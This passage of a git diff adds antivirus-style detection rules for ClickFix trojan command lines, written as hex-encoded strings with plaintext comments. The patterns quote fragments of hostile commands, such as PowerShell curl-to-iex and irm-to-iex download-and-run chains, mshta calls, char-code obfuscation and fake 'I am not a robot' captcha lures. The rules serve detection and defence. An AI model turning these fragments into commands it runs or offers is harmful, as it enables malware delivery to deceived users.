00 72 00 73 00 28 00 27 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 27 00 29 00 [0-ff] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 75 00 72 00 69 00 } //100 + $a_00_21 = {71 00 75 00 61 00 72 00 6b 00 75 00 70 00 64 00 61 00 74 00 65 00 72 00 } //-1000 quarkupdater + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*20+(#a_00_2 & 1)*20+(#a_00_3 & 1)*20+(#a_00_4 & 1)*20+(#a_00_5 & 1)*20+(#a_00_6 & 1)*20+(#a_00_7 & 1)*20+(#a_00_8 & 1)*20+(#a_00_9 & 1)*20+(#a_00_10 & 1)*20+(#a_00_11 & 1)*20+(#a_00_12 & 1)*20+(#a_00_13 & 1)*20+(#a_00_14 & 1)*20+(#a_00_15 & 1)*20+(#a_02_16 & 1)*100+(#a_02_17 & 1)*100+(#a_02_18 & 1)*100+(#a_02_19 & 1)*130+(#a_02_20 & 1)*100+(#a_00_21 & 1)*-1000) >=130 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SQ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SQ.yar new file mode 100644 index 0000000000..0377535682 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SQ.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_SQ{ + meta: + description = "Trojan:Win32/ClickFix.SQ,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 08 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 2e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 } //1 windowsinstaller.installer + $a_00_2 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 2e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 } //1 installer.installer + $a_00_3 = {75 00 69 00 6c 00 65 00 76 00 65 00 6c 00 } //1 uilevel + $a_00_4 = {69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 } //1 installproduct + $a_00_5 = {28 00 24 00 75 00 2e 00 73 00 74 00 61 00 72 00 74 00 73 00 77 00 69 00 74 00 68 00 28 00 27 00 68 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 27 00 29 00 29 00 7b 00 24 00 75 00 2e 00 69 00 6e 00 73 00 65 00 72 00 74 00 28 00 32 00 2c 00 27 00 74 00 27 00 29 00 } //2 ($u.startswith('htps://')){$u.insert(2,'t') + $a_02_6 = {6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 63 00 6f 00 6d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 [0-50] 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 [0-30] 2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 [0-50] 75 00 69 00 6c 00 65 00 76 00 65 00 6c 00 } //2 + $a_00_7 = {25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 6f 00 69 00 6e 00 74 00 33 00 32 00 } //1 %{[char][convert]::toint32 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*2+(#a_02_6 & 1)*2+(#a_00_7 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STB.yar new file mode 100644 index 0000000000..2e5af96e0b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STB.yar @@ -0,0 +1,31 @@ + +rule Trojan_Win32_ClickFix_STB{ + meta: + description = "Trojan:Win32/ClickFix.STB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {20 00 23 00 20 00 } //1 # + $a_00_2 = {3a 00 2f 00 2f 00 } //1 :// + $a_00_3 = {2e 00 6f 00 67 00 67 00 20 00 23 00 } //1 .ogg # + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_STB_2{ + meta: + description = "Trojan:Win32/ClickFix.STB,SIGNATURE_TYPE_CMDHSTR_EXT,2d 01 2d 01 08 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {20 00 23 00 20 00 } //100 # + $a_00_2 = {3a 00 2f 00 2f 00 } //100 :// + $a_00_3 = {63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 } //1 confirm + $a_00_4 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 captcha + $a_00_5 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human + $a_00_6 = {72 00 6f 00 62 00 6f 00 74 00 } //1 robot + $a_00_7 = {76 00 65 00 72 00 69 00 66 00 } //1 verif + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=301 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STC.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STC.yar new file mode 100644 index 0000000000..1da43923c6 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STC.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_STC{ + meta: + description = "Trojan:Win32/ClickFix.STC,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 07 00 00 " + + strings : + $a_02_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 [0-10] 20 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 20 00 [0-04] 69 00 65 00 78 00 20 00 24 00 28 00 69 00 72 00 6d 00 } //100 + $a_00_1 = {3a 00 38 00 30 00 38 00 30 00 2f 00 24 00 28 00 24 00 7a 00 } //2 :8080/$($z + $a_00_2 = {28 00 27 00 30 00 31 00 2f 00 30 00 31 00 2f 00 27 00 20 00 2b 00 20 00 27 00 31 00 39 00 37 00 30 00 27 00 29 00 } //1 ('01/01/' + '1970') + $a_00_3 = {24 00 78 00 20 00 3d 00 20 00 28 00 24 00 7a 00 20 00 2d 00 20 00 24 00 79 00 29 00 2e 00 54 00 6f 00 74 00 61 00 6c 00 53 00 65 00 63 00 6f 00 6e 00 64 00 73 00 } //1 $x = ($z - $y).TotalSeconds + $a_00_4 = {3a 00 3a 00 46 00 6c 00 6f 00 6f 00 72 00 28 00 24 00 78 00 29 00 3b 00 20 00 24 00 76 00 20 00 3d 00 20 00 24 00 77 00 20 00 2d 00 20 00 28 00 24 00 77 00 20 00 25 00 20 00 31 00 36 00 29 00 } //1 ::Floor($x); $v = $w - ($w % 16) + $a_02_5 = {3a 00 3a 00 55 00 74 00 63 00 4e 00 6f 00 77 00 3b 00 20 00 24 00 79 00 20 00 3d 00 20 00 [0-04] 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 } //1 + $a_00_6 = {5b 00 69 00 6e 00 74 00 36 00 34 00 5d 00 24 00 76 00 29 00 29 00 } //1 [int64]$v)) + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*2+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1) >=103 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STD.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STD.yar new file mode 100644 index 0000000000..2b636ab50b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STD.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_STD{ + meta: + description = "Trojan:Win32/ClickFix.STD,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 06 00 00 " + + strings : + $a_02_0 = {50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 [0-10] 20 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 20 00 [0-04] 69 00 65 00 78 00 20 00 24 00 28 00 69 00 72 00 6d 00 } //100 + $a_00_1 = {4d 00 51 00 41 00 35 00 41 00 44 00 63 00 41 00 4d 00 41 00 41 00 3d 00 } //1 MQA5ADcAMAA= + $a_00_2 = {4d 00 41 00 41 00 78 00 41 00 43 00 38 00 41 00 4d 00 41 00 41 00 78 00 41 00 43 00 38 00 41 00 } //1 MAAxAC8AMAAxAC8A + $a_00_3 = {28 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 28 00 24 00 28 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 3a 00 3a 00 55 00 6e 00 69 00 63 00 6f 00 64 00 65 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 (datetime($(Text.Encoding::Unicode.GetString(Convert::FromBase64String + $a_00_4 = {6d 00 61 00 74 00 68 00 3a 00 3a 00 46 00 6c 00 6f 00 6f 00 72 00 28 00 24 00 7b 00 5f 00 5f 00 2f 00 3d 00 3d 00 5c 00 5f 00 2f 00 5c 00 5f 00 5f 00 5f 00 2f 00 3d 00 3d 00 3d 00 5c 00 7d 00 29 00 } //1 math::Floor(${__/==\_/\___/===\}) + $a_00_5 = {69 00 6e 00 74 00 36 00 34 00 24 00 7b 00 5f 00 5f 00 5f 00 2f 00 3d 00 3d 00 5c 00 2f 00 3d 00 5c 00 2f 00 5c 00 5f 00 5f 00 2f 00 3d 00 3d 00 7d 00 29 00 29 00 } //1 int64${___/==\/=\/\__/==})) + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=103 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STT.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STT.yar new file mode 100644 index 0000000000..c0b51c19cf --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STT.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_STT{ + meta: + description = "Trojan:Win32/ClickFix.STT,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_00_0 = {20 00 23 00 20 00 } //1 # + $a_00_1 = {3a 00 2f 00 2f 00 } //1 :// + $a_00_2 = {27 00 2b 00 27 00 } //1 '+' + $a_00_3 = {5d 00 3a 00 3a 00 } //1 ]:: + $a_00_4 = {3b 00 26 00 24 00 } //1 ;&$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STU.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STU.yar new file mode 100644 index 0000000000..f8f16aa42d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STU.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_ClickFix_STU{ + meta: + description = "Trojan:Win32/ClickFix.STU,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_1 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_2 = {68 00 74 00 74 00 70 00 } //-1000 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*-1000) >=2 + +} +rule Trojan_Win32_ClickFix_STU_2{ + meta: + description = "Trojan:Win32/ClickFix.STU,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-20] 63 00 75 00 72 00 6c 00 [0-40] 2f 00 70 00 73 00 7c 00 69 00 65 00 78 00 } //1 + $a_02_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-20] 63 00 75 00 72 00 6c 00 [0-40] 2f 00 74 00 78 00 74 00 7c 00 69 00 65 00 78 00 } //1 + $a_02_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-20] 63 00 75 00 72 00 6c 00 [0-40] 2f 00 6c 00 6f 00 67 00 7c 00 69 00 65 00 78 00 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STV.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STV.yar new file mode 100644 index 0000000000..a44956d5ec --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STV.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_STV{ + meta: + description = "Trojan:Win32/ClickFix.STV,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 07 00 00 " + + strings : + $a_00_0 = {6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 } //100 not a robot + $a_00_1 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_2 = {76 00 65 00 72 00 69 00 66 00 } //1 verif + $a_00_3 = {63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 } //1 confirm + $a_00_4 = {70 00 72 00 65 00 73 00 73 00 } //1 press + $a_00_5 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 } //1 captcha + $a_00_6 = {63 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 } //1 cloudflare + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=103 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STW.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STW.yar new file mode 100644 index 0000000000..cab25e9a3c --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STW.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_ClickFix_STW{ + meta: + description = "Trojan:Win32/ClickFix.STW,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffca 00 ffffffca 00 0c 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //100 mshta + $a_00_1 = {3a 00 5c 00 } //100 :\ + $a_00_2 = {72 00 65 00 6d 00 } //1 rem + $a_00_3 = {63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 } //1 confirm + $a_00_4 = {69 00 64 00 65 00 6e 00 74 00 69 00 74 00 79 00 } //1 identity + $a_00_5 = {76 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //1 verification + $a_00_6 = {6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 } //1 not a robot + $a_00_7 = {d1 00 81 00 d0 00 b0 00 d1 00 80 00 74 00 63 00 68 00 61 00 } //1 + $a_00_8 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human + $a_00_9 = {69 00 64 00 3a 00 } //1 id: + $a_00_10 = {61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 64 00 } //1 authorized + $a_00_11 = {67 00 61 00 74 00 65 00 73 00 69 00 67 00 3a 00 } //1 gatesig: + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1) >=202 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STX.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STX.yar new file mode 100644 index 0000000000..d41480f820 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STX.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_STX{ + meta: + description = "Trojan:Win32/ClickFix.STX,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + $a_00_1 = {20 00 23 00 20 00 } //1 # + $a_00_2 = {3a 00 2f 00 2f 00 } //1 :// + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STY.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STY.yar new file mode 100644 index 0000000000..dc942ebe6b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STY.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_STY{ + meta: + description = "Trojan:Win32/ClickFix.STY,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-10] 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //1 + $a_00_1 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 69 00 65 00 78 00 27 00 23 00 } //1 .txt | iex'# + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STZ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STZ.yar new file mode 100644 index 0000000000..bb25d146de --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_STZ.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_STZ{ + meta: + description = "Trojan:Win32/ClickFix.STZ,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-10] 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 } //10 + $a_00_1 = {7c 00 20 00 69 00 65 00 78 00 } //10 | iex + $a_00_2 = {70 00 69 00 76 00 65 00 72 00 69 00 66 00 2e 00 74 00 78 00 74 00 } //1 piverif.txt + $a_00_3 = {70 00 61 00 74 00 6f 00 73 00 73 00 2e 00 74 00 78 00 74 00 } //1 patoss.txt + $a_00_4 = {7a 00 69 00 70 00 7a 00 69 00 67 00 2e 00 74 00 78 00 74 00 } //1 zipzig.txt + condition: + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SZZ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SZZ.yar new file mode 100644 index 0000000000..69b23e6eaa --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SZZ.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_SZZ{ + meta: + description = "Trojan:Win32/ClickFix.SZZ,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {28 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 35 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 31 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 32 00 30 00 29 00 29 00 29 00 } //1 (([char](105))+([char](101))+([char](120))) + $a_00_2 = {28 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 38 00 33 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 36 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 39 00 37 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 34 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 36 00 29 00 29 00 2b 00 } //1 (([char](83))+([char](116))+([char](97))+([char](114))+([char](116))+ + $a_00_3 = {28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 34 00 35 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 38 00 30 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 34 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 31 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 39 00 39 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 31 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 35 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 35 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 33 00 32 00 29 00 29 00 } //1 ([char](45))+([char](80))+([char](114))+([char](111))+([char](99))+([char](101))+([char](115))+([char](115))+([char](32)) + $a_00_4 = {28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 33 00 34 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 33 00 36 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 31 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 30 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 31 00 38 00 29 00 29 00 2b 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 35 00 38 00 29 00 29 00 } //1 ([char](34))+([char](36))+([char](101))+([char](110))+([char](118))+([char](58)) + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFA.yar new file mode 100644 index 0000000000..d19aa4cc72 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFA.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win32_ClickFix_TFA{ + meta: + description = "Trojan:Win32/ClickFix.TFA,SIGNATURE_TYPE_CMDHSTR_EXT,16 00 16 00 08 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 68 00 74 00 61 00 } //10 mshta + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {43 00 61 00 70 00 63 00 68 00 61 00 } //1 Capcha + $a_00_3 = {59 00 6f 00 75 00 72 00 20 00 49 00 44 00 } //1 Your ID + $a_00_4 = {63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 } //1 confirm + $a_00_5 = {68 00 75 00 6d 00 61 00 6e 00 } //1 human + $a_00_6 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-1000 msedgewebview2.exe + $a_00_7 = {69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 } //-1000 if false == false echo + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*-1000+(#a_00_7 & 1)*-1000) >=22 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFB.yar new file mode 100644 index 0000000000..0d67e0fa89 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_TFB{ + meta: + description = "Trojan:Win32/ClickFix.TFB,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_01_1 = {4a 00 41 00 42 00 6b 00 41 00 47 00 38 00 41 00 64 00 77 00 42 00 75 00 41 00 47 00 77 00 41 00 62 00 77 00 42 00 68 00 41 00 47 00 51 00 41 00 56 00 51 00 42 00 79 00 41 00 47 00 77 00 41 00 49 00 41 00 41 00 39 00 41 00 43 00 41 00 41 00 49 00 67 00 42 00 6f 00 41 00 48 00 51 00 41 00 64 00 41 00 42 00 77 00 41 00 48 00 4d 00 41 00 4f 00 67 00 41 00 76 00 41 00 43 00 38 00 41 00 63 00 77 00 42 00 6c 00 41 00 47 00 4d 00 41 00 64 00 51 00 42 00 79 00 41 00 47 00 6b 00 41 00 64 00 41 00 42 00 35 00 41 00 43 00 34 00 41 00 59 00 77 00 42 00 73 00 41 00 47 00 38 00 41 00 64 00 51 00 42 00 6b 00 41 00 48 00 4d 00 41 00 64 00 41 00 42 00 33 00 41 00 48 00 49 00 41 00 4c 00 67 00 42 00 6a 00 41 00 47 00 38 00 41 00 62 00 51 00 41 00 76 00 41 00 45 00 } //10 JABkAG8AdwBuAGwAbwBhAGQAVQByAGwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AcwBlAGMAdQByAGkAdAB5AC4AYwBsAG8AdQBkAHMAdAB3AHIALgBjAG8AbQAvAE + condition: + ((#a_00_0 & 1)*10+(#a_01_1 & 1)*10) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFC.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFC.yar new file mode 100644 index 0000000000..def30ebb65 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFC.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_TFC{ + meta: + description = "Trojan:Win32/ClickFix.TFC,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 FromBase64String + $a_00_2 = {2d 00 62 00 78 00 6f 00 72 00 } //1 -bxor + $a_00_3 = {69 00 65 00 78 00 28 00 } //1 iex( + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFD.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFD.yar new file mode 100644 index 0000000000..bb79f57360 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_TFD.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_TFD{ + 